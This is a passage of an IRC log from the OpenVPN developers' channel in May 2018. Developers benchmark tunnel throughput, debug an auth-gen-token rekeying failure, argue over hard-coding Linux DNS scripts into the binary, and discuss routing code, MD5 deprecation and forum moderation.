don#'t have access to Gbit networks 11:57 <@ordex> maximum I can do on local host with no encryption whatsoever is 11.x Gbps 11:57 <@ordex> I wonder if I am doing it right, but it seems so 11:58 <@ordex> just to test openvpn purely, without any other factor 11:58 <@ordex> plaisthos: ^^ 12:00 <@ordex> I wonder if it's my host that is not able to generate more traffic than that 12:17 < tincantech> ordex: do you mean "local host" as in 127.0.0.1 ? 12:20 < tincantech> on one host like so: 12:20 < tincantech> # openvpn --ifconfig 10.99.99.1 10.99.99.2 --dev tun & 12:21 < tincantech> # openvpn --remote 127.0.0.1 --ifconfig 10.99.99.2 10.99.99.1 --dev tun2 & 12:21 < tincantech> # iperf3 -B 10.99.99.1 -s 12:21 < tincantech> # iperf3 -B 10.99.99.2 -c 10.99.99.1 12:22 < tincantech> cmd 3 above should end with & 12:22 < tincantech> Bandwidth: 32.2 Gbits/sec 12:27 < tincantech> need a --nobind on the client side btw 12:29 < tincantech> ha .. on older HW i get 4.72 Gbits/sec 12:37 <@ordex> tincantech: if you do it that way your traffic is not going across openvpn, but just being looped back across lo 12:40 < tincantech> '/:/~ really .. ? 12:41 <@ordex> well yeah, and I think that's what you'd want in a normal case 12:42 < tincantech> dammit you are right .. tcpdump=no packets 12:43 * tincantech is trying harder this time 12:59 < tincantech> learn something everyday ! 13:28 < kitsune1> 32.2 Gbps of local traffic is not bad -- my lowly desktop can do only 11 Gbps (no openvpn or anything just loopback traffic). I believe its cpu bound. 13:30 <@ordex> yap 14:07 < tincantech> using 2 local VMs I get this with no encryption : [ 3] 0.0-10.0 sec 107 MBytes 89.6 Mbits/sec 14:10 < tincantech> with --secret: [ 3] 0.0-10.0 sec 99.8 MBytes 83.6 Mbits/sec 14:11 <@ordex> well, when using VMs yu are now traversing a lot of layers of software 14:12 <@ordex> I guess the networking is all implemented in userspace for the VM (maybe the guest crosses kernelspace) 14:13 < tincantech> yeah .. it's a bit sad .. i was expecting a little more than 80 odd Mbs 14:14 <@ordex> well, you may tweak the VMs 14:14 <@ordex> if using kvm, you may want to use virtio_net for example 14:14 <@ordex> (as networking driver) 14:15 < tincantech> yeah .. i have done quite a bit of tweaking ;) but even so .. it is lower than i imagined 14:15 < tincantech> these VMs are under hyper-v .. so no virtio that i know of 14:15 <@ordex> and don't forget that the cpu in the vm might also be constrained :P 14:15 <@ordex> so not using kvm ? 14:17 < tincantech> not kvm .. the host is Win10 with HyperV i5 average spec .. very quiet system nothing else but the VMs doing any work 14:17 < tincantech> gbit ethernet but shared via hyper-v eth switch 14:18 <@ordex> i guess it has vt-x enabled somehow? 14:18 <@ordex> I have no clue how that works on windows 14:18 <@ordex> :p 14:18 < tincantech> yes .. all 64bit 14:18 < tincantech> host + VMs 14:20 * tincantech has an idea 14:29 < tincantech> slight improvement : [ 3] 0.0-10.0 sec 108 MBytes 90.8 Mbits/sec 14:29 < tincantech> more VRAM 15:16 < tincantech> VM to VM no openvpn : [ 4] 0.0-30.0 sec 3.41 GBytes 977 Mbits/sec 15:16 < tincantech> 10 to 1 .. 15:25 < tincantech> this /WARNING/ serioulsy beed a rethink .. i an using --tun-mtu ;) https://dpaste.de/5ypx 15:25 < tincantech> needs* 15:52 < tincantech> i maintain .. 'iperf -c IP -r' is simply unreliable .. 15:53 < tincantech> [ ID] Interval Transfer Bandwidth 15:53 < tincantech> [ 4] 0.0-30.0 sec 2.95 GBytes 845 Mbits/sec 15:53 < tincantech> [ 4] local 10.10.201.226 port 5001 connected with 10.10.201.238 port 60198 15:54 < tincantech> [ 4] 0.0-30.0 sec 1013 MBytes 283 Mbits/sec 16:05 < tincantech> same basic test with iperf3 16:05 < tincantech> sender 16:05 < tincantech> [ ID] Interval Transfer Bitrate Retr 16:05 < tincantech> [ 5] 0.00-30.00 sec 3.86 GBytes 1.11 Gbits/sec 802 sender 16:05 < tincantech> [ 5] 0.00-30.00 sec 3.86 GBytes 1.11 Gbits/sec receiver 16:05 < tincantech> receiver 16:05 < tincantech> [ ID] Interval Transfer Bitrate Retr 16:05 < tincantech> [ 5] 0.00-30.01 sec 3.53 GBytes 1.01 Gbits/sec 0 sender 16:06 < tincantech> [ 5] 0.00-30.01 sec 3.53 GBytes 1.01 Gbits/sec receiver 16:06 < tincantech> no vpn ^ 16:07 < tincantech> multiple runs .. --- Day changed Sat May 05 2018 07:00 < tincantech> ordex: dazo: shall i create a trac for that "token or key" problem ? 07:01 <@ordex> as you wish 07:01 <@ordex> however, you should be able to reproduce it also without the token 07:01 <@ordex> with the same setup 07:01 <@ordex> have you tried? 07:02 < tincantech> i cannot make it happen without the renewed token ? 07:02 < tincantech> but i'll have a go .. 07:02 < tincantech> do you mean it is only due to reneg-sec ? 07:03 <@ordex> I don't know what it is about, but it seems pretty unrelated to the token mechanism 07:03 <@ordex> especially because it is the client going mad 07:03 <@ordex> not the server 07:03 <@ordex> but I might be wrong, that's why an experiment might be useful :) 07:03 < tincantech> ok .. i'll see what i can try 07:05 < tincantech> i have a log here .. the key changes from 0 to 1 and therte is no problem .. then it changes from 1 to 2 and then the problem strikes .. don't know if you noticed that befopre ? 07:05 <@ordex> yap 07:05 < tincantech> ok 07:05 <@ordex> that is the key rotation after rekeying, but not sure if the '2' is expected or not. (it should) 07:06 < tincantech> ok .. i will cut the config down to the bone and see what i can do 07:07 <@ordex> as a first attempt you could just keep everything the same and only remove the token 07:07 <@ordex> that will already tell us if the token is really unrelated or not 07:07 < tincantech> ok 07:07 <@ordex> thanks! 07:22 < tincantech> wwithout --auth-gen-token .. it works quite happily ... 07:23 < tincantech> upto key_id=4 now 07:24 <@ordex> the rest of the config is the same? 07:24 <@ordex> interesting 07:24 < tincantech> yep 07:24 < tincantech> all i changed was commenout auth-gen-token and restart 07:25 <@ordex> maybe the server is not properly configuring the new key (upon second reneg) - maybe due to the token mechanism - and thus it can't select the proper key when there is a switch 07:26 < tincantech> anything else you want me to try ? 07:33 <@ordex> not sure right now 07:35 < tincantech> ok .. if you do think of anything just ask .. i feel like i should trac this tho ? 07:37 <@ordex> yeah, whynot 07:38 < tincantech> it seems it is definitely linked to auth-gen-token so i am going to name it so .. but you can edit it once i'm finished 07:40 < tincantech> i'm going to increase the reneg etc to make sure that it is not some odd timing issue 07:43 <@ordex> what if you set reneg and token lifetime to the same amount of secs? 07:44 < tincantech> i'll give that a go in a while 07:55 < tincantech> increasing --reneg-sec from 120 to 240 and --auth-gen-token from 180 to 360 = same problem, just takes longer ;) 07:56 <@ordex> how about using the same amount for both? 07:56 < tincantech> trying now .. 08:06 < tincantech> the same thing : pulled options changed .. 08:15 <@ordex> so it also ends up reconnecting due to inactivity 08:19 < tincantech> well no .. it dies due to user/group nobody 08:21 < tincantech> the reconnect is triggered by ping timeout as you expected 08:22 <@ordex> yeah, that is what I meant 08:25 < tincantech> server log goes: Auth-token for client expired .. 1 min later TLS keys are out of sync 08:31 < tincantech> trying now with manual user/pass instead 08:36 < tincantech> ecrist: cleantalk seems to have stopped working since 2018-MAY-01 08:39 < tincantech> ordex: duh .. forgot password is cached :roll: 08:39 < tincantech> same thing happens tho 08:42 < tincantech> ordex: do you know how the server process times out the token .. is it a signal sent to management interface or all in the code ? 08:43 <@ordex> no clue 08:44 < tincantech> the reason i ask is becuase according to dazo --auth-gen-token is a "work around" (or some such) and the real auth-token scheme should be handled by a script or plugin 08:44 < tincantech> as far as i understand it .. dazo can you clarify that point ? 08:51 < tincantech> little titbit of info, with --auth-nocache : "auth-token received, disabling auth-nocache for the authentication token" 08:52 < tincantech> even after the token expires i don't get chance to re-enter user/pass before it connects and bombs 11:46 <@ordex> tincantech: you mean after the reconnection? 12:41 < tincantech> ordex: yes .. after the token expires and the reconnect from -ping-restart 14:04 < tincantech> FTR: the *exact* same cobfigs except --auth-gen-token is disabled .. everything works as expected 15:15 <@ordex> tincantech: thanks! 23:50 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 23:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun May 06 2018 03:15 <@syzzer> thun 03:15 <@syzzer> argh, wrong window :') 03:17 <@cron2> that password is way too short 03:17 <@cron2> and good morning to you ;-) 03:26 <@syzzer> yeah, I'll update it soon, promise! 03:26 <@syzzer> good morning :) 10:08 <@vpnHelper> RSS Update - tickets: #1062: iOS: OpenVPN Connect crashes when viewing the log file <https://community.openvpn.net/openvpn/ticket/1062> 10:20 <@vpnHelper> RSS Update - tickets: #1063: iOS: Authenticate/Decrypt packet error with 2.4.0 server <https://community.openvpn.net/openvpn/ticket/1063> 11:25 <@ordex> syzzer: I have tested in my localhost setup master + "[PATCH] Feedback wanted: proof-of-concept recvmmsg() support" and (surprisingly?) I have seen almost no difference. however, I am still trying to verify my testing setup :D I want to be sure I am not introducing any other cap (I am using netspaces) 11:26 <@ordex> but it's interesting how cipher none vs aes-156-cbc makes no difference as well and auth none vs auth sha512 does not either ... 11:27 <@ordex> but might be my CPU that is simply fast for those operation, thus moving the bottleneck somewhere else 11:27 <@ordex> *operations 11:30 <@ordex> mh I think it is not honouring the 1500 mtru 11:30 <@ordex> mtu* 11:45 < tincantech> hehe .. i just found an undocumented deprecation so i added it to https://community.openvpn.net/openvpn/wiki/DeprecatedOptions?action=diff&version=10 ;) 11:45 <@vpnHelper> Title: DeprecatedOptions (diff) – OpenVPN Community (at community.openvpn.net) 12:03 < kitsune1> If interested in undocumented options here is one: --compress can take lz4-v2 as a mode 12:16 <@ordex> also stub-v2 iirc 12:21 < valdikss> Hi, does anybody here use OpenVPN with NetworkManager on Linux? 12:21 < valdikss> If yes, do you have a bug when openvpn process is not terminated on disconnection? 12:21 < valdikss> It happens not all the time, but quite often. 12:25 < tincantech> valdikss: i do not believe anybody here uses NetworkManager 12:31 < valdikss> tincantech: how do you use OpenVPN on desktop linux then? 12:31 < tincantech> i use it with sysV or systemd 12:32 <@ordex> I do use it witn NM for one or two profiles 12:33 < tincantech> I am afraid NM has had some "bad press" here .. the official "party line" is "We don't support NetworkManager" .. 12:33 < tincantech> (oops sorry ordex please continue) 12:33 <@ordex> the problem I have is that after suspend my vpn comes up again, but for some reason it does not route traffic - but never tried to dig deeper...trying to switch to connman :) 12:33 <@ordex> :D 12:33 <@ordex> I also hate NM 12:34 <@ordex> other than that, I have troubles with it not supporting all the 2.4 options 12:35 < valdikss> >but never tried to dig deeper...trying to switch to connman :) 12:36 < tincantech> valdikss: is the problem isolated to when you use NM .. do you have a log file etc ? 12:36 < valdikss> *sigh* that's why we will never have usable desktop linux 12:36 < tincantech> i strongly disagree 12:37 < tincantech> even my old mother can use Linux Desktop .. she like Mint 12:38 < valdikss> tincantech: only because you configured it 12:38 < tincantech> well .. i help obviously ;) 12:40 < tincantech> valdikss: dazo is probably the best person here to ask about NM .. i don't know that he can help but I think he has used it the most 13:19 <@ordex> valdikss: NM has always been quite tedious to me tbh. I started using it very recently and I still believe it is not the tool for me..that's why I don't feel like using it in the future 14:44 < tincantech> erm .. what is the "reason" Win-Vista is no longer supported but XP is ? 14:48 < tincantech> supported versions: https://community.openvpn.net/openvpn/wiki/RecentChanges 14:48 <@vpnHelper> Title: RecentChanges – OpenVPN Community (at community.openvpn.net) 15:27 <@cron2> tincantech: if you look at the diff, you see that the XP entry is far older - XP is still in 2.3.x support (as is Vista), but *that* entry wasn't updated when Vista was updated - and Vista is dead because we won't release a new Tap driver with SHA1 signature 15:27 <@cron2> (also nobody cares about Vista - people are either stuck on XP, or have moved on to 7/10 anyway) 15:49 < tincantech> cron2: thanks .. TAP driver it is ;) 16:09 < tincantech> oh deary me .. i think i have found another auth-token problem .. this time with NCP ! Mess with NCP at your own Risk! 16:12 < tincantech> or maybe it is related .. hmm 16:14 < tincantech> i am not sure about this but .. perhaps token expiry should only effect a reneg-* and *not* the current session .. ? 16:14 < tincantech> currently .. as sson as the token expires on the server that is it for the client 16:24 < tincantech> --suppress-timestamps in a systemd unit file (or any other init script) Officially *sucks* .. until it can be toggled it should be OFF by default 17:19 < tincantech> anybody who needs --suppress-timestamps can do it themself --- Day changed Mon May 07 2018 02:14 <@cron2> mornin 02:18 <@ordex> hola 02:34 <@cron2> jftr, I cannot make any sort of meeting next wednesday - will be at a customer site all day, in a workshop 02:53 <@ordex> alright 08:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:43 <@ecrist> tincantech: I'm working on it - I've got a ticket open with CleanTalk already. 09:44 <@ecrist> mattock: FYI, I kicked the httpd process on the forums VM, and dropped support for TLS 1.0 and modified our cipher list a bit. 09:59 * ecrist also enables HSTS, improves Qualys SSL grade to A+ 10:20 -!- Crazy_Hopp is now known as Crazy_Hopper 10:28 < tincantech> ecrist: thanks :) .. it is currently ythe hottest day of the year here and it is a bank holiday so I also have the coldest beer of the year X-) 11:25 <@ecrist> tincantech: They looked into it a bit, and it appears to be a problem with the plugin. They're going to respond back to me in a couple days. 15:53 -!- awestin1_ is now known as awestin1 16:03 < tincantech> ecrist: looks like cleantalk is working now 16:18 <@ecrist> doesn't look like they changed anything, but they did log in to the admin console twice 16:18 <@ecrist> I backed up the database before I granted them access 16:18 <@ecrist> I doubt they'd do anything nefarious 17:17 < tincantech> i see the log is updated with recent activity .. don't kno much else than that --- Day changed Tue May 08 2018 04:49 <@ordex> cron2: I have seen in the route.c code that DARWIN and other *BSD platforms are also using netlink routines - feels like they all support the same interface as linux? are you aware of any detail? maybe I could try to let those system use sitnl and throw it in the buildbots (?) 04:50 <@cron2> that is not netlink but "something similar" 04:50 <@cron2> ... and it is only used for querying routes today, because that stuff is even less documented that netlink... 04:56 <@ordex> phew 04:56 <@ordex> ok 04:56 <@ordex> so there is probably no common interface that we can leverage on 04:56 <@ordex> except for a few operations (like getting route) 04:57 <@cron2> the PF_PACKET stuff could be used across all the BSDs if we really want to go there and test this all out (there are subtle differences, like "is this an 'int' or a 'uint32_t' when compiling on a 64 bit platform?" 04:57 <@cron2> but it's definitely not "the same as netlink", even if the concept is very close 04:58 <@cron2> ("stuff in blobs into a magic pipe, and if it does not work, start reading kernel sources what is expected on the other end") 04:58 <@ordex> XD 04:59 <@ordex> good way of putting it 04:59 <@cron2> or vice versa "why are these two fields not 0? oh, because someone saved storage and put the interface ID into the 0-bytes in the fe80::<local> address" 04:59 <@ordex> :P 05:00 <@cron2> that's what the KAME stack did... so you get back a gateway address looking like fe80:0245:<mac addr> 05:00 <@cron2> and the :0245: is the interface ID, while the real gateway address is fe80:0:<mac addr> 05:00 <@ordex> this all sounds confusing 05:00 <@cron2> it is :) 05:01 <@ordex> but apparently it "worked out" as in "things have still worked somehow" 05:01 <@ordex> :D 05:01 <@cron2> (and all the BSDs move away from such arcane artifacts at heir own speed... as long as this is an "internal" API between route/ifconfig/netstat and kernel, we do not need to care...) 05:03 <@ordex> btw while checking the code for all these BSD systems, it seems like they "all use ifconfig/route", but basically they all have their own arguments formats which makes them require their own platform code anyway 05:04 <@ordex> I was hoping that 1 "ifconfig 05:04 <@ordex> " module would have worked for them all 05:04 <@ordex> :P 05:05 <@cron2> yes... (that's why I considered having some sort of "these arguments in that order" platform definition string) 05:05 <@cron2> but in the end, that won't make the code easier to read... 05:06 <@cron2> like, having one very magic do_ifconfig() function that looks up things stored in #ifdef's elsewhere ("argument 3 has to be route base IP") 05:06 <@cron2> or a much longer but very trivial do_ifconfig() function that basically has 05:06 <@cron2> #ifdef PLATFORM1 05:06 <@cron2> setup argv 05:06 <@cron2> #elseif PLATFORM2 05:06 <@cron2> setup argv 05:06 <@cron2> #elseif PLATFORM3 05:06 <@cron2> setup argv 05:06 <@cron2> #endif 05:06 <@cron2> log argv 05:06 <@ordex> yeah I see what you mean 05:06 <@cron2> exec argv 05:06 <@cron2> check return 05:06 <@ordex> pfff 05:07 <@cron2> yeah, not exactly nice, but trivial code and easy to see what a given part of the code *does* 05:07 <@ordex> yeah, this can definitely be done that way, but I was hoping to avoid doing that for *every* API function implementation 05:07 <@ordex> maybe something that defines "route command works this way" once in the API module and then gets re-used by every function implementation 05:07 <@ordex> like a format string (but we need more than that) 05:07 <@cron2> either you do a generic do_ifconfig() function and find a way to parametrize it without making this very very complicated... 05:08 <@cron2> but that's the point: if you do a format string (format array, ...) you make the do_ifconfig()/do_route() function much more complicated, and that complication will be "active code" on every platform 05:09 <@cron2> instead of having a very simple do_ifconfig()/do_route() function, as far as "what code remains on platform X"? 05:09 <@cron2> now, if we would need to select this at run-time, I'm all for a flexible argument handling machine :-) - but we do not have single openvpn binaries that run on FreeBSD, NetBSD, Solaris, ... 05:10 <@ordex> right 06:07 <@ordex> cron2: I think the routing code would definitely require some more love. now I see what you meant with "we already have several layers of abstraction" in the code. right now we convert addr/gw/etc.. to a route_ipv4 object and then we convert it back to strings/single items. hehe, we probably can rearrange that a bit 07:10 <@cron2> right :) 08:27 <@cron2> why oh why... 08:28 * cron2 tries to create an x509 cert with SubjectAltName set, with openssl... and the commonly accepted lore is "create openssl.cnf on the fly, or use openssl 1.1.1" 08:28 * cron2 looks annoyed and goes home 09:42 < tincantech> mattock: 246-I602 Win TAP driver reports 100mb .. 246-I601 reports TAP 1gb .. Regression ? 09:43 <@mattock> no 09:43 <@mattock> intentional 09:43 <@mattock> oh 09:43 <@mattock> kind of regression 09:43 <@mattock> side-effect of having to switch back to the old tap-windows6 version 09:45 < tincantech> ah .. ok .. so the new driver gets signed it will be ok ? 09:45 < tincantech> when* 09:45 <@cron2> yes 09:46 < tincantech> thanks 11:35 < valdikss> Is anyone working on changing DNS on Linux platform? If no, I'll implement it. 11:36 <@ordex> valdikss: what do you exactly mean? right now that is handled externally, mostly because it depends on the distribution, I guess 11:37 < valdikss> ordex: I want to at least make DNS up/down script hard-coded to the binary on configuration step, and it should be called even if there's no up/down setting in .ovpn configuration. 11:38 < valdikss> ordex: at most, I wanted to implement all popular DNS configuration routines in Linux (networkmanager/systemd-networkd/resolvconf/etc) 12:00 < kitsune1> Even if a script updates DNS servers it can revert back on dhcp renew, for example, isn't it? For me I would hate it if the vpn up script change DNS servers behind my back -- how would one opt out of such a "hard-coded DNS up script"? 12:43 < tincantech> kitsune1: --pull-filter reject "dhcp-option DNS" .. but i agree that hardcoding Linux scrpts into openvpn binary is OTT .. 12:43 < tincantech> valdikss: you might prefer to ask here or the devel ML before committing to work on your idea .. 12:45 < tincantech> plus who is going to support all these various linux scripts ??? 12:45 * tincantech 2c = no thanks 14:10 <@cron2> yeah, I'm with tincantech here - this is so much distro-specific that it really belongs into a --up script 14:13 <@ordex> +1 14:16 < pekster> This kind of "binary hard-coding" is bad for another critical reason: it prevents local control. You may think users want to replace DNS servers, while someone may want to prepend, or only use DNS for certain domains. What about on soft-timeout? Do you restore the old so a reconnect can occur, or leave it disconnected for the fools using VPNs as a (bad) anonymonity tool concerned about "leaks" and 14:16 < pekster> would rather it stay broken then perform userland resolution to the pre-existing DNS 14:18 <@ordex> imho it would definitely make sense to create an external repo with all kind of useful script that distro maintainers and people can download and use for their specific case 14:38 <@mattock> ordex: +1 15:29 <@cron2> gnaaaa... https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8897 15:29 <@vpnHelper> Title: CVE - CVE-2018-8897 (at cve.mitre.org) 15:29 <@cron2> if you have nothing else to keep you busy, go upgrading. If you have, go upgrading anyway... 15:35 <@ordex> wwwa 17:00 < valdikss> tincantech: i meant hard-code the path to the DNS script into the binary, not the script itself. Package maintainers still can maintain their own scripts. 17:14 < tincantech> valdikss: i think yu need to be clear about your proposal and check that with the devs .. also there are other comments above 17:17 < tincantech> hard-coding paths to DNS scripts inside openvpn binary ? Why ? what positive difference would that make .. you are going to force maintainers into a path (corner) .. sounds pointless to me. eg: --up /path/to/script 17:19 < tincantech> I cannot understand what reason you want to do this .. ? 18:45 < jkunkee> Happy Tuesday! I have patches to share for great justice^Wshredding and bashing and gnashing :) 18:45 < jkunkee> https://github.com/jkunkee/tap-windows6/branches 18:45 <@vpnHelper> Title: Branches · jkunkee/tap-windows6 · GitHub (at github.com) 18:45 < jkunkee> I'll get PRs submitted for each of these. 18:55 < kitsune1> tincantech: pull-filter ignore ... will work only if you want to really ignore what's pusshed from the server. What if the user wants to use the pushed info in their own scripts. I really think hard coded scripts is a no-no unless there is an option to switch of such scrips. Who wants another option.. 18:56 < kitsune1> of->off 19:01 < kitsune1> hmm.. there was no need to panic -- no one has warmed up to the "idea" of hard-coded scripts.. thankfully. 19:19 < tincantech> kitsune1: see valdikss comment: 23:00:14 valdikss | tincantech: i meant hard-code the path to the DNS script into the binary, not the script itself. Package maintainers still can maintain their own scripts. 19:19 < tincantech> my guess is .. he has a really awkward user who he is fighting with ;) 19:23 < kitsune1> quite likely.. I can see if you a large userbase a large chunk of support requests could be DNS related.. --- Day changed Wed May 09 2018 01:08 <@cron2> jkunkee: nice :) 01:11 <@cron2> (though it might take us quite a bit to review the changes... :-o ) 02:13 <@mattock> meeting today? 02:22 <@ordex> cron2 can't be here and I think we don't have much to discuss (?) 02:22 <@ordex> and actually at 11:00 me and dazo have a corp meeting 02:27 <@mattock> ok, let's not have one this week 02:27 <@mattock> one thing though 02:27 <@mattock> we might want to have a meeting with reed from hackerone (see #openvpn-meeting) at some point 02:28 <@mattock> OSTIF.org and HackerOne reached an agreement on (security) bug bounties, so Hackerone will be the one handling those now 02:28 <@ordex> oh ok 02:29 <@ordex> so does it mean all the bugs have to go through the hackerone portal instead of being directly handled by us ? 02:29 <@mattock> no 02:29 <@ordex> well, i think we still have to approve the bug somehow (?) 02:29 <@mattock> we will handle the bugs just like before 02:29 <@mattock> if we want, we _can_ use Hackerone Community (https://www.hackerone.com/product/community) 02:29 <@ordex> ok 02:29 <@mattock> but that's not obligatory by any means 02:55 <@ordex> I see ok 03:37 <@mattock> did we officially drop support for MD5 or did that happen (in Windows installers) by our upgrade to openssl 1.1? 03:37 <@mattock> https://github.com/OpenVPN/openvpn/commit/95c07b13ce112ceb8b15175fcae0d95c70e93eee 03:37 <@vpnHelper> Title: Set tls-cipher restriction before loading certificates · OpenVPN/openvpn@95c07b1 · GitHub (at github.com) 03:38 <@mattock> corp has an official MD5 deprecation page but I couldn't find anything on community.openvpn.net 03:42 <@ordex> mattock: it depends on the library, it is not openvpn doing that. openvpn can only be used to force a less restrictive check by the library by using the tls-cert-profile option 03:42 <@ordex> in corp we shp openvpn+library altogether so we have control over it. here I think we only distribute openvpn, no? maybe with windows we bundle openssl too? 03:42 <@ordex> *ship 03:44 <@ordex> ah apparently tls-cert-profile is 2.5 material..so not out yet 03:44 <@ordex> possible? 03:45 <@ordex> sorry, we have different commit IDs based on the stable release. --tls-cert-profile is in 2.4.5 already 04:07 <@mattock> yes, with windows we bundle openssl 1.1 04:08 <@mattock> so having so official "after the fact" announcement about it and md5 would make sense imho 04:08 <@mattock> so that people whose MD5 breaks can be pointed to that page 04:22 <@ordex> mattock: yeah, we should also confirm with syzzer if any tls-cert-profile would allow MD5 again and mention it 04:22 <@ordex> (I think there is one, at leastthere is one for mbedTLS) 04:56 <@ordex> mattock: from the manpage: [3$ legacy (default): sets "security level 1" 04:56 <@ordex> this is what is used by default on OpenSSL and I guess it does not support MD5 any longer and we can't do much 05:09 < valdikss> <tincantech> hard-coding paths to DNS scripts inside openvpn binary ? Why ? what positive difference would that make .. you are going to force maintainers into a path (corner) .. sounds pointless to me. eg: --up /path/to/script 05:10 < valdikss> This should be done to have one configuration file across all platforms, which does not require modifications for exact operation system or distro. 05:11 < valdikss> Like route/iproute2 path is embedded into executable on configuration stage, DNS scripts should be the same. 05:12 < valdikss> Don't you understand that it's totally illogical that OpenVPN sets DNS on Windows and macOS, but not on Linux, and does not even print a warning about that? 05:14 <@ordex> valdikss: won 05:14 <@ordex> ops sorry 05:15 <@ordex> valdikss: won't admins/users still need to write this script? or you want to provide a script for each linux distro? this is more something that makes sense in a networkmanager context: NM can pass its own script so that it can set the DNS accordingly. openvpn it's a building block, can't take care of the too many upper layer logics 05:16 <@ordex> and i think this is already what NM does 05:16 < valdikss> ordex: I can write the script for every popular network configuration system, yes. 05:17 <@ordex> but they already have one, I think and if not, this is definitely something that shouldbe part of "their" codebase/repository 05:17 <@ordex> no? 05:17 < valdikss> ordex: sure, they can replace it if they want/need 05:17 < valdikss> I mean, the user should not add up/down path to the DNS script manually into the configuration file, it should be done on compilation 05:18 < valdikss> DNS should be set up by default, just like in Windows and macOS, without changing configuration file 05:18 <@ordex> NM does as well, without changing the configuration file 05:18 < valdikss> Yes, but only NM because it has it's own module 05:18 < valdikss> Usual console client does not do that. 05:19 <@ordex> of course, the same happens on windows, but the external service does the DNS thing as glue component (which is the same NM does on Linux) 05:19 <@ordex> if there are others network services they should take care of this aspect, no? 05:20 < valdikss> ordex: probably yes, but I'm talking about the daemon. 05:21 <@ordex> there is only one openvpn software :P I thin kwe are talking about the same thing hehe 05:24 <@ordex> anyway, this is juts my personal opinion: implementing inside openvpn features that assume what external components will do is bad design. better to export the information in a standard way and let the external component deal with it. if such component has to be shipped with openvpn or not depends on several aspects. normally on linux each distro configures these components differently, therefore it 05:24 <@ordex> makes more sense to have the admin put the pieces together as it wants (especially about DNS that can be handled in hundreds of different ways) 12:06 < kitsune1> The real problem is Linux does not have a coherent way of setting DNS servers unlike Windows. So comparison with the latter is moot. For a lay user desktop, I think DHCP should take care of DNS. If so the solution would be for openvpn to have a DHCP emulation within it similar to what we have on Windows (provided by tap-windows). Even then, as soon as the LAN IP is renewed, DNS settings may get ove 12:06 < kitsune1> rwritten. 15:49 < tincantech> kitsune1: --block-outside-dns (now *not only* for windows!) ;) 15:52 < tincantech> might i also propose the final nail in the coffin .. ? 16:00 < tincantech> it is a two pointer .. 16:01 < tincantech> 1: Free Open Source Virtual Private Network -- absolute number fkn 1 16:02 < tincantech> 2a: everthing else .. optional 16:02 < tincantech> 2b: .. indeed 16:04 < tincantech> 3: discuss 16:17 < tincantech> INSERT 1a: Dedication of those who do the Work! 16:18 < tincantech> I guess it is more of a "Best Of" than a "Final Nail" .. but I expect you get what i mean ;-) 16:24 < tincantech> Editors note: I try to help but i do not do the Work! --- Log closed Thu May 10 00:33:36 2018 --- Log opened Thu May 10 07:13:03 2018 07:13 -!- Irssi: #openvpn-devel: Total of 31 nicks [8 ops, 0 halfops, 2 voices, 21 normal] 07:13 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 07:13 -!- Irssi: Join to #openvpn-devel was synced in 7 secs 08:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Client Quit] 08:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 08:37 <@vpnHelper> RSS Update - tickets: #1064: IP address displayed in Windows GUI may be incorrect <https://community.openvpn.net/openvpn/ticket/1064> 10:08 < tincantech> cron2: regarding your "max-clients" memory depletion thread .. is there a better way to monitor the process memory than htop ? 10:09 < tincantech> i have a server with --max-clients 2 and 6 clients all trying to connect for a couple of hours and I have seen NO memory change in the server process .. 10:10 < tincantech> all of the clients can connect but only 2 at once and they have all connected/dsconnected multiple times due to reneg-sec 10:16 < tincantech> FYI: server is running current master branch 10:17 < tincantech> OpenSSL 1.0.1f .. which i guess could be important .. i'll try with ossl1.1x as well 10:43 <@cron2> tincantech: top/ps should be good enough to show serious leakage. Maybe we fixed this in master already, maybe it needs something special on the tester's system - hard to say, with him not talking to us 11:15 < tincantech> yeah .. i did wonder if that was all the details you had --- Day changed Fri May 11 2018 09:09 < tincantech> ecrist: mattock: if somebody would be so kind : https://forums.openvpn.net/viewtopic.php?f=30&t=26361 09:09 <@vpnHelper> Title: How to delete my OpenVPN account? - OpenVPN Support Forum (at forums.openvpn.net) 09:30 < tincantech> ecrist: sharan was an active member for all of three minutes .. as far as i am concerned that post is one of those where they just want to get a post into form and website support for fame ..... 09:31 < tincantech> personally I would delete the post and ban his account on the forum 09:31 <@ecrist> meh 09:31 <@ecrist> we don't delete accounts 09:32 < tincantech> sure .. don't delete but ban ;) anyway .. who cares ;) 09:33 < tincantech> ecrist: what if the come from a country which requires you to delete personal data if asked ? 09:39 <@ecrist> we will cross that bridge when it comes 09:41 <@ecrist> tincantech: in most cases, I don't think we are required to delete data unless the person is a minor 09:42 <@ecrist> in our case, we have a reason of "public interest" to not delete old forum posts. 09:47 < tincantech> just curious ;) 10:47 < tincantech> ecrist: you may want to double check that post .. I deleted it because of the quote "to download online movies which were blocked in my country" .. if you want to over rule me sure .. but the way i see it .. nothing but a troll 10:48 < tincantech> and banned the username/email 10:48 <@ecrist> which post? 10:49 < tincantech> https://forums.openvpn.net/viewtopic.php?f=30&t=26361 10:54 <@ecrist> I'll leave it - you should have directed the user to the private tunnel support folks, though. 10:55 < tincantech> that would mean leaving the thread .. IMHO they were just trolling. 10:56 < tincantech> there ought to be (and maybe there is) clear Agreement that "We do not delete user info" when they sign up .. 10:56 <@ecrist> their request was to delete the private tunnel account, not firum account 10:56 <@ecrist> forum* 10:57 < tincantech> oh .. let me double check that 10:58 < tincantech> I disagree .. they meant this account on openvpn .. they knew the difference by the way they have written their reply 10:59 < tincantech> quote "I also downloaded private tunnel" 11:00 < tincantech> and 